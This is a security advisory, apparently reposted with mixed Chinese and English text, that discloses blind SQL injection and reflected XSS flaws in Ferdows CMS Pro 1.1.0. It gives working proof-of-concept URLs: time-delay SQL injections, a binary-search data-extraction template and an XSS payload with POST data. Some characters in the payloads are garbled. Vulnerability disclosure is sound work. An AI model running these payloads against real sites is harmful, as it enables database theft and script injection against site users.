AmnPardaz Security Research Team

 

标题: Ferdows CMS Pro <=1.1.0 Multiple Vulnerabilities

作者: www.fcms.ir www.2cto.com

影响版本: 1.1.0 (Pro)

 

1. 问题描述:

 

 

Ferdows CMS is a complete, fully featured CMS in ASP.NET language and

using AJAX technology with MSSQL and became a powerful CMS having plenty

of strong modules.

This CMS is not open-source and is accessible for private use by the

author company for designing their customer's websites.

2.  缺陷列表

 

2.1. Injection Flaws. Blind SQL Injection in "/about.aspx" and

"/archive.aspx" and

"/default1.aspx" in "siteid" parameter.

2.1.1. Exploit:

Check the exploit/POC section.

 

2.2. Injection Flaws.  archive.aspx页面sid参数盲注

parameter.

2.2.1. Exploit:

Check the exploit/POC section.

 

2.3. Cross Site Scripting (XSS). Reflected XSS attack in

"/showdata.aspx" in "dataid"

parameter. (Post Method)

2.3.1. Exploit:

Check the exploit/POC section.

 

 

3. 测试:

 

 

3.1. Injection Flaws. Blind SQL Injection in "/about.aspx" and

"/archive.aspx" and

"/default1.aspx" in "siteid" parameter.

3.2. Injection Flaws. Blind SQL Injection in "/archive.aspx" in "sid"

parameter.

-------------

Check database username:

http://[www.2cto.com]/default1.aspx?siteid=1'; IF SYSTEM_USER='sa' waitfor delay

'00:00:10'--

http://[www.2cto.com]/archive.aspx?sid=19&siteid=1'; IF SYSTEM_USER='sa' waitfor

delay

'00:00:10'--

http://[www.2cto.com]/archive.aspx?sid=19'; IF SYSTEM_USER='sa' waitfor delay

'00:00:10'--&siteid=1

 

Binary Search Exploits:

http://[www.2cto.com]/about.aspx?siteid=1'; IF ASCII(SUBSTRING((�),i,1)) > k

waitfor delay

'00:00:10'--

 

Note: In last POC, i is the i-th byte returned by the one-row subquery

(�) and k is the

current middle value of the binary search.

 

-------------

3.3. Cross Site Scripting (XSS). Reflected XSS attack in

"/showdata.aspx" in "dataid"

parameter. (POST METHOD)

-------------

http://[www.2cto.com]/showdata.aspx?dataid=%22%20onmouseover%3Dprompt%28%27XSS-from-BugReport%27%29%20continue%3D%22&siteid=1

 

__EVENTARGUMENT=&__EVENTTARGET=&__EVENTVALIDATION=%2fwEWBQKh%2f8jADgKprNPRAQKe%2b%2bCDCwKY38eYCQLRmu35DOB6MkYbirW%2fduDB97KKNKznAXjO&__VIEWSTATE=%2fwEPDwUKMTc1Nzk5Nzk1MGQYAgU0Y3RsMDAkQ29udGVudFBsYWNlSG9sZGVyMSRWaWV3cG9pbnQxJENhcHRjaGFDb250cm9sMQ8FJDc4OTg0YzkzLThiOWQtNDczZi04OTExLWYwZjcxODRiODFiOWQFMWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlcjEkVmlld3BvaW50MSRHVl9WaWV3UG9pbnQPPCsACgEIZmTsHHUhMC543Vq3m%2fWANPP5J1edvw%3d%3d&ctl00%24ContentPlaceHolder1%24Viewpoint1%24CaptchaControl1=&ctl00%24ContentPlaceHolder1%24Viewpoint1%24sendvp=%d8%a7%d8%b1%d8%b3%d8%a7%d9%84&ctl00%24ContentPlaceHolder1%24Viewpoint1%24tx_body=&ctl00%24ContentPlaceHolder1%24Viewpoint1%24tx_email=sample@email.tst&ctl00%24ContentPlaceHolder1%24Viewpoint1%24tx_name=testt

-------------

 

 

 

4. 解决方案

 

过滤保证无非法输入